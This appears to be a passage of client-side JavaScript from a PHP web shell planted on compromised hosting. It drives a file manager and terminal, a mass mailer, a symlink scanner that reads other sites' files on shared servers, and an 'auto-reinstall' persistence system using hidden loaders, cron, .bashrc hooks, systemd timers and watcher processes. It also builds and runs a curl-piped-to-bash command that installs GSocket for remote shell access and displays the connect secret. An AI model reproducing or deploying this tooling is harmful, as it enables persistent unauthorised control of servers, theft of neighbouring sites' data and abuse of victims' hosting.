document.getElementById('chmodInput').value = currentPerms.slice(-3); document.getElementById('chmodRecursiveOption').style.display = isDir ? 'block' : 'none'; document.getElementById('chmodRecursive').checked = false; updateCheckboxesFromChmod(currentPerms.slice(-3)); document.getElementById('chmodModal').classList.add('active'); setTimeout(() => document.getElementById('chmodInput').focus(), 100); } function updateCheckboxesFromChmod(mode) { if (mode.length < 3) return; const o = parseInt(mode[mode.length - 3]) || 0; const g = parseInt(mode[mode.length - 2]) || 0; const w = parseInt(mode[mode.length - 1]) || 0; document.getElementById('chmod_or').checked = (o & 4) !== 0; document.getElementById('chmod_ow').checked = (o & 2) !== 0; document.getElementById('chmod_ox').checked = (o & 1) !== 0; document.getElementById('chmod_gr').checked = (g & 4) !== 0; document.getElementById('chmod_gw').checked = (g & 2) !== 0; document.getElementById('chmod_gx').checked = (g & 1) !== 0; document.getElementById('chmod_wr').checked = (w & 4) !== 0; document.getElementById('chmod_ww').checked = (w & 2) !== 0; document.getElementById('chmod_wx').checked = (w & 1) !== 0; } function updateChmodFromCheckboxes() { let o = 0, g = 0, w = 0; if (document.getElementById('chmod_or').checked) o += 4; if (document.getElementById('chmod_ow').checked) o += 2; if (document.getElementById('chmod_ox').checked) o += 1; if (document.getElementById('chmod_gr').checked) g += 4; if (document.getElementById('chmod_gw').checked) g += 2; if (document.getElementById('chmod_gx').checked) g += 1; if (document.getElementById('chmod_wr').checked) w += 4; if (document.getElementById('chmod_ww').checked) w += 2; if (document.getElementById('chmod_wx').checked) w += 1; document.getElementById('chmodInput').value = '' + o + g + w; } function setChmodPreset(mode) { document.getElementById('chmodInput').value = mode; updateCheckboxesFromChmod(mode); } function doChmod() { const path = document.getElementById('chmodPath').value; const mode = document.getElementById('chmodInput').value.trim(); const recursive = document.getElementById('chmodRecursive').checked; if (!mode || !/^[0-7]{3,4}$/.test(mode)) { showToast('Please enter a valid permission mode (e.g., 755)', true); return; } const formData = new FormData(); formData.append('action', 'chmod'); formData.append('path', path); formData.append('mode', mode); formData.append('recursive', recursive ? '1' : '0'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('Permissions changed'); closeModal('chmodModal'); setTimeout(() => location.reload(), 500); } else { showToast('Failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Failed: ' + err, true)); } function showGsocketModal() { document.getElementById('gsocketSecret').value = ''; document.getElementById('gsocketNoinst').checked = false; document.getElementById('gsocketNocert').checked = false; document.getElementById('gsocketResult').style.display = 'none'; document.getElementById('gsocketOutput').textContent = ''; document.getElementById('gsocketRunBtn').disabled = false; document.getElementById('gsocketRunBtn').textContent = '🚀 Install GSocket'; updateGsocketCommand(); document.getElementById('gsocketModal').classList.add('active'); } function showSysInfo() { document.getElementById('sysInfoContent').innerHTML = '<div style="text-align:center;padding:20px;">Loading...</div>'; document.getElementById('sysInfoModal').classList.add('active'); const formData = new FormData(); formData.append('action', 'sysinfo'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { const info = data.info; const kvmStatus = info.kvm_support ? '<span style="color:#27ae60;">Supported</span>' : '<span style="color:#e74c3c;">Not Supported</span>'; document.getElementById('sysInfoContent').innerHTML = ` <div style="display:grid;gap:12px;"> <div class="info-row"><span class="label">Operating System</span><span>${escapeHtml(info.os)}</span></div> <div class="info-row"><span class="label">CPU Model</span><span>${escapeHtml(info.cpu)}</span></div> <div class="info-row"><span class="label">CPU Cores</span><span>${info.cores}</span></div> <div class="info-row"><span class="label">RAM Total</span><span>${escapeHtml(info.ram_total)}</span></div> <div class="info-row"><span class="label">RAM Used</span><span>${escapeHtml(info.ram_used)}</span></div> <div class="info-row"><span class="label">RAM Free</span><span>${escapeHtml(info.ram_free)}</span></div> <div class="info-row"><span class="label">KVM Support</span><span>${kvmStatus}</span></div> <div style="border-top:1px solid #333;margin:10px 0;padding-top:10px;"><strong>Languages</strong></div> <div class="info-row"><span class="label">Python</span><span>${escapeHtml(info.python || 'Unknown')}</span></div> <div class="info-row"><span class="label">Perl</span><span>${escapeHtml(info.perl || 'Unknown')}</span></div> <div class="info-row"><span class="label">Ruby</span><span>${escapeHtml(info.ruby || 'Unknown')}</span></div> <div class="info-row" style="flex-direction:column;"><span class="label">PHP uname()</span><span style="font-size:0.8rem;word-break:break-all;margin-top:5px;">${escapeHtml(info.php_uname)}</span></div> </div> `; } else { document.getElementById('sysInfoContent').innerHTML = '<div style="color:#e74c3c;">Failed to load system information</div>'; } }) .catch(err => { document.getElementById('sysInfoContent').innerHTML = '<div style="color:#e74c3c;">Error: ' + escapeHtml(err.toString()) + '</div>'; }); } function showMailer() { document.getElementById('mailerResult').style.display = 'none'; document.getElementById('mailerSendBtn').disabled = false; document.getElementById('mailerSendBtn').textContent = '📤 Send Test'; document.getElementById('mailerModal').classList.add('active'); } function toggleSmtpFields() { const method = document.getElementById('mailerMethod').value; document.getElementById('smtpFields').style.display = method === 'smtp' ? 'block' : 'none'; document.getElementById('simpleMailFields').style.display = method === 'server' ? 'block' : 'none'; document.getElementById('advancedMailFields').style.display = method !== 'server' ? 'block' : 'none'; } function sendTestMail() { const btn = document.getElementById('mailerSendBtn'); const resultDiv = document.getElementById('mailerResult'); btn.disabled = true; btn.textContent = '⏳ Sending...'; resultDiv.style.display = 'none'; const formData = new FormData(); formData.append('action', 'sendmail'); formData.append('method', document.getElementById('mailerMethod').value); formData.append('from', document.getElementById('mailerFrom').value); formData.append('fromName', document.getElementById('mailerFromName').value); formData.append('to', document.getElementById('mailerTo').value); formData.append('subject', document.getElementById('mailerSubject').value); formData.append('message', document.getElementById('mailerMessage').value); if (document.getElementById('mailerMethod').value === 'smtp') { formData.append('smtpHost', document.getElementById('smtpHost').value); formData.append('smtpPort', document.getElementById('smtpPort').value); formData.append('smtpUser', document.getElementById('smtpUser').value); formData.append('smtpPass', document.getElementById('smtpPass').value); formData.append('smtpSecure', document.getElementById('smtpSecure').value); } fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { btn.disabled = false; btn.textContent = '📤 Send Test'; resultDiv.style.display = 'block'; if (data.success) { resultDiv.style.background = 'rgba(39,174,96,0.2)'; resultDiv.style.color = '#27ae60'; resultDiv.textContent = '✓ ' + data.message; } else { resultDiv.style.background = 'rgba(231,76,60,0.2)'; resultDiv.style.color = '#e74c3c'; resultDiv.textContent = '✗ ' + (data.error || 'Failed to send email'); } }) .catch(err => { btn.disabled = false; btn.textContent = '📤 Send Test'; resultDiv.style.display = 'block'; resultDiv.style.background = 'rgba(231,76,60,0.2)'; resultDiv.style.color = '#e74c3c'; resultDiv.textContent = '✗ Error: ' + err.toString(); }); } function showUnzipper() { document.getElementById('unzipPath').value = ''; document.getElementById('unzipDest').value = currentDir; document.getElementById('unzipResult').style.display = 'none'; document.getElementById('unzipBtn').disabled = false; document.getElementById('unzipBtn').textContent = '📦 Extract'; const select = document.getElementById('unzipMethod'); select.innerHTML = '<option value="auto">Auto Detect</option>'; document.getElementById('unzipMethodsLoading').style.display = 'block'; document.getElementById('unzipModal').classList.add('active'); const formData = new FormData(); formData.append('action', 'unzip_methods'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { document.getElementById('unzipMethodsLoading').style.display = 'none'; if (data.success && data.methods) { data.methods.forEach(m => { const opt = document.createElement('option'); opt.value = m.id; opt.textContent = m.name + ' - ' + m.desc; select.appendChild(opt); }); } }) .catch(() => { document.getElementById('unzipMethodsLoading').textContent = 'Failed to load methods'; }); } function showUnzipModal(path) { showUnzipper(); document.getElementById('unzipPath').value = path; } function doUnzip() { const path = document.getElementById('unzipPath').value; const dest = document.getElementById('unzipDest').value; const method = document.getElementById('unzipMethod').value; const resultDiv = document.getElementById('unzipResult'); const btn = document.getElementById('unzipBtn'); if (!path) { resultDiv.style.display = 'block'; resultDiv.style.background = 'rgba(231,76,60,0.2)'; resultDiv.style.color = '#e74c3c'; resultDiv.textContent = 'Please select an archive file'; return; } btn.disabled = true; btn.textContent = '⏳ Extracting...'; resultDiv.style.display = 'none'; const formData = new FormData(); formData.append('action', 'unzip'); formData.append('path', path); formData.append('dest', dest); formData.append('method', method); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { btn.disabled = false; btn.textContent = '📦 Extract'; resultDiv.style.display = 'block'; if (data.success) { resultDiv.style.background = 'rgba(39,174,96,0.2)'; resultDiv.style.color = '#27ae60'; resultDiv.innerHTML = '✓ Extracted successfully using ' + escapeHtml(data.method) + (data.output ? '<br><pre style="margin-top:8px;font-size:0.75rem;white-space:pre-wrap;">' + escapeHtml(data.output.substring(0, 500)) + '</pre>' : ''); setTimeout(() => location.reload(), 1500); } else { resultDiv.style.background = 'rgba(231,76,60,0.2)'; resultDiv.style.color = '#e74c3c'; resultDiv.innerHTML = '✗ ' + escapeHtml(data.error || 'Extraction failed') + (data.output ? '<br><pre style="margin-top:8px;font-size:0.75rem;white-space:pre-wrap;">' + escapeHtml(data.output.substring(0, 500)) + '</pre>' : ''); } }) .catch(err => { btn.disabled = false; btn.textContent = '📦 Extract'; resultDiv.style.display = 'block'; resultDiv.style.background = 'rgba(231,76,60,0.2)'; resultDiv.style.color = '#e74c3c'; resultDiv.textContent = '✗ Error: ' + err.toString(); }); } let currentSymlinkTarget = ''; function showSymlinkDomain() { document.getElementById('symlinkDomainList').innerHTML = '<div style="padding:20px;text-align:center;color:#888;">Click "Scan Domains" to find domains</div>'; document.getElementById('symlinkFileContent').style.display = 'none'; document.getElementById('symlinkScanStatus').textContent = ''; document.getElementById('symlinkModal').classList.add('active'); } function scanSymlinkDomains() { const btn = document.getElementById('symlinkScanBtn'); const status = document.getElementById('symlinkScanStatus'); const list = document.getElementById('symlinkDomainList'); btn.disabled = true; status.textContent = 'Scanning...'; list.innerHTML = '<div style="padding:20px;text-align:center;color:#888;">Scanning domain paths...</div>'; const formData = new FormData(); formData.append('action', 'symlink_scan'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { btn.disabled = false; if (data.success) { const domains = data.domains || []; status.textContent = 'Found ' + domains.length + ' paths'; if (domains.length === 0) { list.innerHTML = '<div style="padding:20px;text-align:center;color:#888;">No domain paths found. Common paths:<br>/home/*/public_html/<br>/var/www/vhosts/*/httpdocs/<br>/var/www/*/</div>'; } else { let html = '<table style="width:100%;border-collapse:collapse;">'; html += '<tr style="background:#1a1a1a;"><th style="padding:10px;text-align:left;border-bottom:1px solid #333;">Domain/User</th><th style="padding:10px;text-align:left;border-bottom:1px solid #333;">Path</th><th style="padding:10px;text-align:left;border-bottom:1px solid #333;">Type</th><th style="padding:10px;border-bottom:1px solid #333;">Action</th></tr>'; domains.forEach(d => { html += '<tr style="border-bottom:1px solid #222;">'; html += '<td style="padding:8px;color:#00FF00;">' + escapeHtml(d.name) + '</td>'; html += '<td style="padding:8px;font-size:0.75rem;color:#888;">' + escapeHtml(d.path) + '</td>'; html += '<td style="padding:8px;font-size:0.75rem;">' + escapeHtml(d.server) + '</td>'; html += '<td style="padding:8px;"><button class="btn" onclick="readSymlinkFile(\'' + escapeHtml(d.path).replace(/'/g, "\\'") + '\')" style="padding:4px 8px;font-size:0.75rem;">📖 Read</button></td>'; html += '</tr>'; }); html += '</table>'; list.innerHTML = html; } } else { status.textContent = 'Error'; list.innerHTML = '<div style="padding:20px;text-align:center;color:#e74c3c;">' + escapeHtml(data.error || 'Scan failed') + '</div>'; } }) .catch(err => { btn.disabled = false; status.textContent = 'Error'; list.innerHTML = '<div style="padding:20px;text-align:center;color:#e74c3c;">Error: ' + escapeHtml(err.toString()) + '</div>'; }); } function readSymlinkFile(domainPath) { const fileName = document.getElementById('symlinkFile').value || 'index.php'; const contentDiv = document.getElementById('symlinkFileContent'); const pathSpan = document.getElementById('symlinkFilePath'); const ownerSpan = document.getElementById('symlinkFileOwner'); const pre = document.getElementById('symlinkContentPre'); pre.textContent = 'Loading...'; contentDiv.style.display = 'block'; pathSpan.textContent = ''; ownerSpan.textContent = ''; currentSymlinkTarget = domainPath; const formData = new FormData(); formData.append('action', 'symlink_read'); formData.append('path', domainPath); formData.append('file', fileName); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { pathSpan.textContent = data.path; ownerSpan.textContent = data.owner + '/' + data.group + ' (' + data.size + ' bytes)'; pre.textContent = data.content; } else { pre.textContent = 'Error: ' + (data.error || 'Failed to read file'); pre.style.color = '#e74c3c'; } }) .catch(err => { pre.textContent = 'Error: ' + err.toString(); pre.style.color = '#e74c3c'; }); } function createSymlinkFromScan() { if (!currentSymlinkTarget) { showToast('No target selected', 'error'); return; } const linkName = prompt('Enter symlink name:', 'symlink_' + Date.now()); if (!linkName) return; const formData = new FormData(); formData.append('action', 'symlink_create'); formData.append('target', currentSymlinkTarget); formData.append('link', linkName); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('Symlink created successfully'); closeModal('symlinkModal'); location.reload(); } else { showToast(data.error || 'Failed to create symlink', 'error'); } }) .catch(err => { showToast('Error: ' + err.toString(), 'error'); }); } function showCrontab() { document.getElementById('crontabLoading').style.display = 'block'; document.getElementById('crontabError').style.display = 'none'; document.getElementById('crontabContent').style.display = 'none'; document.getElementById('crontabSaveBtn').style.display = 'none'; document.getElementById('crontabModal').classList.add('active'); const formData = new FormData(); formData.append('action', 'crontab'); formData.append('sub', 'list'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { document.getElementById('crontabLoading').style.display = 'none'; if (data.success) { document.getElementById('crontabContent').value = data.content || ''; document.getElementById('crontabContent').style.display = 'block'; document.getElementById('crontabSaveBtn').style.display = 'inline-flex'; } else { document.getElementById('crontabError').textContent = data.error || 'Failed to load crontab'; document.getElementById('crontabError').style.display = 'block'; } }) .catch(err => { document.getElementById('crontabLoading').style.display = 'none'; document.getElementById('crontabError').textContent = 'Error: ' + err.toString(); document.getElementById('crontabError').style.display = 'block'; }); } function saveCrontab() { const content = document.getElementById('crontabContent').value; const formData = new FormData(); formData.append('action', 'crontab'); formData.append('sub', 'save'); formData.append('content', content); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast('Crontab saved successfully'); closeModal('crontabModal'); } else { showToast('Failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Failed: ' + err, true)); } function showAutoReinstall() { document.getElementById('autoReinstallLoading').style.display = 'block'; document.getElementById('autoReinstallContent').style.display = 'none'; document.getElementById('autoReinstallError').style.display = 'none'; document.getElementById('arEnableBtn').style.display = 'none'; document.getElementById('arDisableBtn').style.display = 'none'; document.getElementById('autoReinstallModal').classList.add('active'); const formData = new FormData(); formData.append('action', 'autoReinstall'); formData.append('sub', 'status'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { document.getElementById('autoReinstallLoading').style.display = 'none'; if (data.success) { const d = data.data; document.getElementById('arStatus').innerHTML = d.enabled ? '<span style="color:#00FF00;">Enabled</span>' : '<span style="color:#FF6600;">Disabled</span>'; document.getElementById('arBackup').innerHTML = d.backup_exists ? '<span style="color:#00FF00;">✓ Hidden</span>' : '<span style="color:#888;">Not created</span>'; document.getElementById('arLoader').innerHTML = d.loader_exists ? '<span style="color:#00FF00;">✓ Hidden</span>' : '<span style="color:#888;">Not created</span>'; document.getElementById('arIni').innerHTML = d.ini_exists ? '<span style="color:#00FF00;">✓ .user.ini</span>' : '<span style="color:#888;">Not created</span>'; document.getElementById('arHosting').innerHTML = d.hosting_type === 'shared' ? '<span style="color:#00BFFF;">Shared</span>' : '<span style="color:#FFA500;">Dedicated/VPS</span>'; document.getElementById('arWebUser').textContent = d.web_user || 'Unknown'; document.getElementById('arCron').innerHTML = d.cron_active ? '<span style="color:#00FF00;">✓ Active</span>' : '<span style="color:#888;">Not set</span>'; var ws = d.watcher_status || {}; document.getElementById('arWatcherNohup').innerHTML = ws.nohup ? '<span style="color:#00FF00;">✓ Running</span>' : '<span style="color:#888;">Not running</span>'; document.getElementById('arWatcherSetsid').innerHTML = ws.setsid ? '<span style="color:#00FF00;">✓ Running</span>' : '<span style="color:#888;">Not running</span>'; document.getElementById('arBashrc').innerHTML = d.bashrc_active ? '<span style="color:#00FF00;">✓ Hooked</span>' : '<span style="color:#888;">Not set</span>'; document.getElementById('arSystemd').innerHTML = d.systemd_active ? '<span style="color:#00FF00;">✓ Timer active</span>' : '<span style="color:#888;">Not set</span>'; document.getElementById('arMulti').innerHTML = d.multi_count > 0 ? '<span style="color:#00FF00;">✓ ' + d.multi_count + ' copies</span>' : '<span style="color:#888;">None</span>'; document.getElementById('arChmod').innerHTML = d.chmod_active ? '<span style="color:#00FF00;">✓ Read-only (444)</span>' : '<span style="color:#888;">Not set</span>'; document.getElementById('arHasPassword').innerHTML = d.has_password ? '<span style="color:#00FF00;">✓ Protected</span>' : '<span style="color:#888;">Not set</span>'; document.getElementById('arPath').textContent = d.path; document.getElementById('arHiddenPath').innerHTML = d.hidden_path ? '<span style="color:#00FF00;">' + escapeHtml(d.hidden_path) + '</span>' : '<span style="color:#888;">Not set</span>'; document.getElementById('arCustomPaths').innerHTML = ''; document.getElementById('arCustomStrings').innerHTML = ''; if (d.index_status && d.index_status.enabled) { var locs = d.index_status.locations ? d.index_status.locations.join(', ') : ''; var stringsHtml = d.index_status.strings ? d.index_status.strings.join(', ') : d.index_status.string; document.getElementById('arIndexStatus').innerHTML = '<span style="color:#00FF00;">✓ ' + escapeHtml(stringsHtml) + ' [' + locs + ']</span>'; if (d.index_status.custom_paths) { d.index_status.custom_paths.forEach(function(p) { addCustomPath(); document.querySelector('.custom-path-input:last-of-type').value = p; }); } if (d.index_status.strings) { d.index_status.strings.forEach(function(s) { addCustomString(); document.querySelector('.custom-string-input:last-of-type').value = s; }); } } else { document.getElementById('arIndexStatus').innerHTML = '<span style="color:#888;">Not set</span>'; } document.getElementById('arPassword').value = ''; document.getElementById('autoReinstallContent').style.display = 'block'; if (d.enabled) { document.getElementById('arDisableBtn').style.display = 'inline-flex'; } else { document.getElementById('arEnableBtn').style.display = 'inline-flex'; } } else { document.getElementById('autoReinstallError').textContent = data.error || 'Failed to get status'; document.getElementById('autoReinstallError').style.display = 'block'; } }) .catch(err => { document.getElementById('autoReinstallLoading').style.display = 'none'; document.getElementById('autoReinstallError').textContent = 'Error: ' + err.toString(); document.getElementById('autoReinstallError').style.display = 'block'; }); } function addCustomPath() { const container = document.getElementById('arCustomPaths'); const div = document.createElement('div'); div.style.cssText = 'display:flex;gap:5px;margin-bottom:5px;'; div.innerHTML = '<input type="text" class="custom-path-input" placeholder="/var/www/site/index.php" style="flex:1;padding:6px;background:#222;border:1px solid #444;color:#0f0;border-radius:3px;font-size:0.8rem;"><button type="button" onclick="this.parentElement.remove()" style="padding:6px 10px;background:#c0392b;color:#fff;border:none;border-radius:3px;cursor:pointer;">×</button>'; container.appendChild(div); } function addCustomString() { const container = document.getElementById('arCustomStrings'); const div = document.createElement('div'); div.style.cssText = 'display:flex;gap:5px;margin-bottom:5px;'; div.innerHTML = '<input type="text" class="custom-string-input" placeholder="MyDetectionString2024" style="flex:1;padding:6px;background:#222;border:1px solid #444;color:#0f0;border-radius:3px;font-size:0.8rem;"><button type="button" onclick="this.parentElement.remove()" style="padding:6px 10px;background:#c0392b;color:#fff;border:none;border-radius:3px;cursor:pointer;">×</button>'; container.appendChild(div); } function getCustomPaths() { const inputs = document.querySelectorAll('.custom-path-input'); const paths = []; inputs.forEach(i => { if(i.value.trim() && !paths.includes(i.value.trim())) paths.push(i.value.trim()); }); return paths; } function getCustomStrings() { const inputs = document.querySelectorAll('.custom-string-input'); const strings = []; inputs.forEach(i => { if(i.value.trim() && !strings.includes(i.value.trim())) strings.push(i.value.trim()); }); return strings; } function toggleAutoReinstall(enable) { const btn = enable ? document.getElementById('arEnableBtn') : document.getElementById('arDisableBtn'); const origText = btn.textContent; const password = document.getElementById('arPassword').value; const customPaths = getCustomPaths(); const customStrings = getCustomStrings(); btn.textContent = 'Working...'; btn.disabled = true; const formData = new FormData(); formData.append('action', 'autoReinstall'); formData.append('sub', enable ? 'enable' : 'disable'); formData.append('persistPassword', password); formData.append('customPaths', JSON.stringify(customPaths)); formData.append('customStrings', JSON.stringify(customStrings)); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { btn.textContent = origText; btn.disabled = false; if (data.success) { showToast(enable ? 'Auto-reinstall enabled' : 'Auto-reinstall disabled'); showAutoReinstall(); } else { if (data.password_required) { showToast('Password required to disable persist', 'error'); } else { showToast(data.error || 'Operation failed', 'error'); } } }) .catch(err => { btn.textContent = origText; btn.disabled = false; showToast('Error: ' + err.toString(), 'error'); }); } function showDomainInfo() { document.getElementById('domainInfoContent').innerHTML = '<div style="text-align:center;padding:20px;">Loading...</div>'; document.getElementById('domainInfoModal').classList.add('active'); const formData = new FormData(); formData.append('action', 'domaininfo'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { const info = data.info; document.getElementById('domainInfoContent').innerHTML = ` <div style="display:grid;gap:12px;"> <div class="info-row"><span class="label">Domain</span><span style="color:#00FF00;">${escapeHtml(info.domain)}</span></div> <div class="info-row"><span class="label">Server IP</span><span>${escapeHtml(info.server_ip)}</span></div> <div class="info-row"><span class="label">Server Software</span><span style="font-size:0.8rem;">${escapeHtml(info.server_software)}</span></div> <div class="info-row"><span class="label">Web Server (PHP)</span><span>${escapeHtml(info.web_server)}</span></div> <div class="info-row"><span class="label">PHP Version</span><span>${escapeHtml(info.php_version)}</span></div> <div class="info-row"><span class="label">Control Panel</span><span style="color:#00FF00;">${escapeHtml(info.control_panel)}</span></div> <hr style="border-color:#333;margin:10px 0;"> <div class="info-row"><span class="label">Domain Authority</span><span style="color:#00FF00;">${escapeHtml(String(info.metrics.domain_authority))}</span></div> <div class="info-row"><span class="label">Page Authority</span><span style="color:#00FF00;">${escapeHtml(String(info.metrics.page_authority))}</span></div> <div class="info-row"><span class="label">Spam Score</span><span>${escapeHtml(String(info.metrics.spam_score))}</span></div> <div class="info-row"><span class="label">Domain Rating</span><span>${escapeHtml(String(info.metrics.domain_rating))}</span></div> <div class="info-row"><span class="label">Site Traffic</span><span>${escapeHtml(String(info.metrics.site_traffic))}</span></div> </div> `; } else { document.getElementById('domainInfoContent').innerHTML = '<div style="color:#FF0000;">Failed to load domain information</div>'; } }) .catch(err => { document.getElementById('domainInfoContent').innerHTML = '<div style="color:#FF0000;">Error: ' + escapeHtml(err.toString()) + '</div>'; }); } function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } function updateGsocketCommand() { const secret = document.getElementById('gsocketSecret').value.trim(); const noinst = document.getElementById('gsocketNoinst').checked; const nocert = document.getElementById('gsocketNocert').checked; let envVars = []; if (secret) envVars.push('X=' + secret); if (noinst) envVars.push('GS_NOINST=1'); if (nocert) envVars.push('GS_NOCERTCHECK=1'); let renvc = envVars.length > 0 ? envVars.join(' ') + ' ' : ''; renvc += 'bash -c "$(curl -fsSL' + (nocert ? 'k' : '') + ' https://gsocket.io/y)"'; document.getElementById('gsocketCommand').textContent = renvc; return renvc; } if (document.getElementById('gsocketSecret')) { document.getElementById('gsocketSecret').addEventListener('input', updateGsocketCommand); document.getElementById('gsocketNoinst').addEventListener('change', updateGsocketCommand); document.getElementById('gsocketNocert').addEventListener('change', updateGsocketCommand); } function copyGsocketCommand() { const renvc = document.getElementById('gsocketCommand').textContent; navigator.clipboard.writeText(renvc).then(() => { showToast('Command copied to clipboard'); }).catch(() => { showToast('Failed to copy', true); }); } function runGsocket() { const renvc = updateGsocketCommand(); const btn = document.getElementById('gsocketRunBtn'); const resultDiv = document.getElementById('gsocketResult'); const outputPre = document.getElementById('gsocketOutput'); btn.disabled = true; btn.textContent = '⏳ Installing...'; resultDiv.style.display = 'block'; outputPre.textContent = 'Starting GSocket installation...\n'; const formData = new FormData(); formData.append('action', 'terminal'); formData.append('command', renvc); formData.append('workDir', currentDir); formData.append('timeout', '120'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { btn.disabled = false; if (data.success) { const output = data.output || ''; const secretMatch = output.match(/gs-netcat\s+-s\s+"([^"]+)"/i) || output.match(/S="([^"]+)"/i) || output.match(/Secret[:\s]+['"]?([a-zA-Z0-9]+)['"]?/i); if (secretMatch) { const secret = secretMatch[1]; outputPre.innerHTML = '<div style="margin-bottom:15px;"><span style="color:#888;">gsocket secret</span><br><span style="font-size:1.2rem;color:#27ae60;font-weight:bold;">' + escapeHtml(secret) + '</span></div>' + '<div><span style="color:#888;">how to connect</span><br><code style="color:#3498db;">gs-netcat -s "' + escapeHtml(secret) + '" -i</code></div>'; btn.textContent = '✅ Complete'; } else { outputPre.textContent = output; btn.textContent = '✅ Complete'; } } else { outputPre.textContent = 'Error: ' + (data.error || 'Installation failed'); btn.textContent = '❌ Failed - Try Again'; } }) .catch(err => { btn.disabled = false; btn.textContent = '❌ Failed - Try Again'; outputPre.textContent = 'Error: ' + err; }); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } function showContextMenu(e, element) { e.preventDefault(); contextTarget = element; const menu = document.getElementById('contextMenu'); const isDir = element.dataset.isdir === '1'; const name = element.dataset.name; document.getElementById('ctxDownload').style.display = isDir ? 'none' : 'block'; const archiveExts = ['zip', 'tar', 'gz', 'tgz', 'bz2', 'xz', '7z', 'rar']; const ext = name.split('.').pop().toLowerCase(); document.getElementById('ctxUnzip').style.display = (!isDir && archiveExts.includes(ext)) ? 'block' : 'none'; document.getElementById('ctxPaste').style.display = (isDir && clipboard.path) ? 'block' : 'none'; document.getElementById('ctxEdit').style.display = (!isDir && name !== '..') ? 'block' : 'none'; document.getElementById('ctxRename').style.display = name === '..' ? 'none' : 'block'; document.getElementById('ctxChmod').style.display = name === '..' ? 'none' : 'block'; document.getElementById('ctxDelete').style.display = name === '..' ? 'none' : 'block'; let x = e.clientX; let y = e.clientY; menu.style.left = x + 'px'; menu.style.top = y + 'px'; menu.classList.add('active'); const rect = menu.getBoundingClientRect(); if (rect.right > window.innerWidth) { menu.style.left = Math.max(5, x - rect.width) + 'px'; } if (rect.bottom > window.innerHeight) { menu.style.top = Math.max(5, y - rect.height) + 'px'; } } document.addEventListener('click', function() { document.getElementById('contextMenu').classList.remove('active'); }); function contextAction(action) { if (!contextTarget) return; const path = contextTarget.dataset.path; const name = contextTarget.dataset.name; const isDir = contextTarget.dataset.isdir === '1'; switch (action) { case 'open': if (isDir) navigateTo(path); break; case 'download': if (!isDir) downloadFile(path); break; case 'unzip': if (!isDir) showUnzipModal(path); break; case 'cut': clipboard = { path: path, action: 'move', name: name }; showToast('Ready to move: ' + name); break; case 'copy': clipboard = { path: path, action: 'copy', name: name }; showToast('Ready to copy: ' + name); break; case 'paste': if (clipboard.path && isDir) { const formData = new FormData(); formData.append('action', clipboard.action); formData.append('source', clipboard.path); formData.append('destination', path); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { showToast((clipboard.action === 'move' ? 'Moved' : 'Copied') + ' successfully'); clipboard = { path: null, action: null, name: null }; setTimeout(() => location.reload(), 500); } else { showToast('Failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => showToast('Failed: ' + err, true)); } break; case 'edit': if (!isDir && name !== '..') openEditor(path); break; case 'rename': if (name !== '..') showRenameModal(path, name); break; case 'info': showInfoPanel(path); break; case 'chmod': if (name !== '..') { const perms = contextTarget.querySelector('span:nth-child(5)')?.textContent || '0755'; const isDir = contextTarget.dataset.isdir === '1'; showChmodModal(path, perms, isDir); } break; case 'delete': if (name !== '..') confirmDelete(path, name); break; } } function openEditor(path) { const formData = new FormData(); formData.append('action', 'editFile'); formData.append('path', path); document.getElementById('editorContent').value = 'Loading...'; document.getElementById('editorPath').value = ''; document.getElementById('editorInfo').textContent = ''; document.getElementById('editorStatus').textContent = ''; document.getElementById('editorModal').classList.add('active'); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { document.getElementById('editorPath').value = data.path; document.getElementById('editorTitle').textContent = '📝 ' + data.name; document.getElementById('editorContent').value = data.content; document.getElementById('editorInfo').textContent = 'Size: ' + formatBytes(data.size) + ' | ' + (data.writable ? 'Writable' : 'Read-only'); document.getElementById('editorSaveBtn').disabled = !data.writable; if (!data.writable) { document.getElementById('editorStatus').textContent = '(Read-only)'; document.getElementById('editorStatus').style.color = '#f00'; } } else { document.getElementById('editorContent').value = 'Error: ' + (data.error || 'Failed to load file'); showToast('Failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => { document.getElementById('editorContent').value = 'Error: ' + err; showToast('Failed: ' + err, true); }); } function saveEditorContent() { const path = document.getElementById('editorPath').value; const content = document.getElementById('editorContent').value; if (!path) { showToast('No file loaded', true); return; } document.getElementById('editorStatus').textContent = 'Saving...'; document.getElementById('editorStatus').style.color = '#ff0'; const formData = new FormData(); formData.append('action', 'saveFile'); formData.append('path', path); formData.append('content', content); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(r => r.json()) .then(data => { if (data.success) { document.getElementById('editorStatus').textContent = 'Saved!'; document.getElementById('editorStatus').style.color = '#0f0'; document.getElementById('editorInfo').textContent = 'Size: ' + formatBytes(data.size) + ' | Writable'; showToast('File saved successfully'); } else { document.getElementById('editorStatus').textContent = 'Save failed!'; document.getElementById('editorStatus').style.color = '#f00'; showToast('Save failed: ' + (data.error || 'Unknown error'), true); } }) .catch(err => { document.getElementById('editorStatus').textContent = 'Save failed!'; 